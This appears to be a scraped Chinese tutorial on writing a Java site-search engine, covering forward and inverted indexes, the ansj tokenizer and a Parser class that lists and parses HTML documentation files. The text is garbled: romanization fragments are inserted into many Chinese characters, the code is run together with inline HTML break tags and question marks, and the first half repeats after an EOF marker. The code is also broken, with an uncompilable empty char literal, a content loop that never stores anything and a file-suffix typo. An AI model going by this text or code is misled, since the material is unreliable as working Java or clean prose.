為什么要用索引呢?
因為爬的數據太多了,不索引,難道去遍歷嗎?時(shí)間復雜度太大了。
這里我們需要建立索引,索引分別為正排索引,和倒排索引。
拿LOL舉個(gè)例子吧,正排就相當于,我們提到無(wú)極劍圣的技能就可以聯(lián)想到
故根據名字選技能
倒排索引就是LOL里面誰(shuí)有劍
蠻王無(wú)極劍圣劍姬
故根據特點(diǎn)選擇英雄
二、模塊劃分1、索引模塊
1)掃描下載到的文檔,分析內容,構建出,正排索引和倒排索引。并且把索引內容保存到文件中。
2)加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
2、搜索模塊
1)調用索引模塊,實(shí)現一個(gè)搜索的完整過(guò)程。
3、web模塊
需要實(shí)現一個(gè)簡(jiǎn)單的web程序,能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。
包含了前端和后端。
三、怎么實(shí)現分詞
分詞的原理
1、基于詞庫
嘗試把所有的詞都進(jìn)行窮舉,把這些結果放到詞典文件中。
2、基于統計
收集到很多的語(yǔ)料庫,進(jìn)行人工標注,知道了那些字在一起的概率比較大~
java中能夠實(shí)現分詞的第三方工具也是有很多的
比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj,哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
我們直接下載最新版本然后放入pom.xml里面
test包里直接操作:我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
import?org.ansj.domain.Term;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?org.ansj.splitWord.analysis.ToAnalysis;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.List;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?TastAnsj?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????String?str?=?"易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄,擅長(cháng)利用快速的打擊迅速擊潰對手,易大師一般打野和走單人路,作為無(wú)極劍道的最后傳人,易可以迅速砍出大量傷害,同時(shí)還能利用技能躲避猛烈的攻擊,避開(kāi)敵人的集火。";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????List?terms?=?ToAnalysis.parse(str).getTerms();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????for?(Term?term?:?terms)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????System.out.println(term.getName());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
四、文件讀取
把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
這一步是為了用遍歷的方法把所有html文件搞出來(lái),我們這里用了一個(gè)遞歸,如果是絕對路徑,就填加到文件鏈表,如果不是就遞歸,繼續添加里面的值。
import?java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//讀取剛剛文檔<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?Parser?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????public??void?run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//整個(gè)Parser類(lèi)的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????ArrayList?fileList=new?ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????File?rootPath=new?File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????//listFiles?能夠獲取到一層目錄下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????File[]?files=?rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????for(File?f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果不是就調用遞歸<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????Parser?parser=new?Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
我們嘗試運行一下,這里的文件也太多了吧,而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選,選擇有用的。
else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????if(f.getAbsolutePath().endsWith(",html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
這個(gè)代碼就是只是針對末尾為html的文件,下圖就是展示結果。
4.1 打開(kāi)文件,解析內容。
這里分為三個(gè)分別是解析Title,解析Url,解析內容Content
4.1.1解析Title
f.getName()是直接讀取文件名字的方法。
我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢,因為.HTML剛好就是五。
private??String?parseTitle(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?name=?f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????return?name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.2解析Url操作
這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url,這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄,然后與我們的http進(jìn)行拼接,這樣就可以直接得到一個(gè)頁(yè)面。
private??String?parseUrl(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????return?part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.3解析內容
以為開(kāi)關(guān)進(jìn)行對數據的讀取,以int類(lèi)型讀取,為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。
具體代碼如下很容易理解。
private??String?parseContent(File?f)?throws?IOException?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try(FileReader?fileReader=new?FileReader(f))?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????boolean?isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//還需要準備一個(gè)結果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????StringBuilder?content=new?StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????while?(true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//此處的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????int??ret?=?0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????ret?=?fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????if(ret==-1)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????char?c=(char)?ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????????isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????return??content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(FileNotFoundException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????return?"";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
這一模塊總的代碼塊如下:
import?java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.FileNotFoundException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.FileReader;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.IOException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//讀取剛剛文檔<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?Parser?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????public??void?run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//整個(gè)Parser類(lèi)的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????ArrayList?fileList=new?ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????for?(File?f:fileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????????System.out.println("開(kāi)始解析"+f.getAbsolutePath());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????????parseHTML(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseTitle(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?name=?f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????return?name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseUrl(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????return?part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseContent(File?f)?throws?IOException?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try(FileReader?fileReader=new?FileReader(f))?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????boolean?isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//還需要準備一個(gè)結果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????StringBuilder?content=new?StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????while?(true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//此處的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????int??ret?=?0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????ret?=?fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????if(ret==-1)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????char?c=(char)?ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????????isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????return??content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(FileNotFoundException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????return?"";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private?void?parseHTML?(File?f){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出標題<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?title=parseTitle(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出對應的url<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?url=parseUrl(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出對應的正文<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????String?content=parseContent(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????File?rootPath=new?File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????//listFiles?能夠獲取到一層目錄下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????File[]?files=?rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????for(File?f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果不是就調用遞歸<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????if(f.getAbsolutePath().endsWith(".html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????Parser?parser=new?Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
--- EOF --- 查看全部
編寫(xiě)一個(gè)Java站內搜索引擎系統
如果用我們的小服務(wù)器去搞百度,搜狗那種引擎肯定是不行的,那些屬于全網(wǎng)搜索,我們這里做一個(gè)站內搜索。類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
一、搜索引擎怎么搜索
搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜,就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè),然后通過(guò)爬取之后建立索引,以供于我們去搜索。建議大家別爬蟲(chóng)要不然被告了。
這里我們可以使用Python,或者下載文檔壓縮包。
為什么要用索引呢?
因為爬的數據太多了,不索引,難道去遍歷嗎?時(shí)間復雜度太大了。
這里我們需要建立索引,索引分別為正排索引,和倒排索引。
拿LOL舉個(gè)例子吧,正排就相當于,我們提到無(wú)極劍圣的技能就可以聯(lián)想到
故根據名字選技能
倒排索引就是LOL里面誰(shuí)有劍
蠻王無(wú)極劍圣劍姬
故根據特點(diǎn)選擇英雄
二、模塊劃分1、索引模塊
1)掃描下載到的文檔,分析內容,構建出,正排索引和倒排索引。并且把索引內容保存到文件中。
2)加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
2、搜索模塊
1)調用索引模塊,實(shí)現一個(gè)搜索的完整過(guò)程。
3、web模塊
需要實(shí)現一個(gè)簡(jiǎn)單的web程序,能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。
包含了前端和后端。
三、怎么實(shí)現分詞
分詞的原理
1、基于詞庫
嘗試把所有的詞都進(jìn)行窮舉,把這些結果放到詞典文件中。
2、基于統計
收集到很多的語(yǔ)料庫,進(jìn)行人工標注,知道了那些字在一起的概率比較大~
java中能夠實(shí)現分詞的第三方工具也是有很多的
比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj,哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
我們直接下載最新版本然后放入pom.xml里面
test包里直接操作:我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
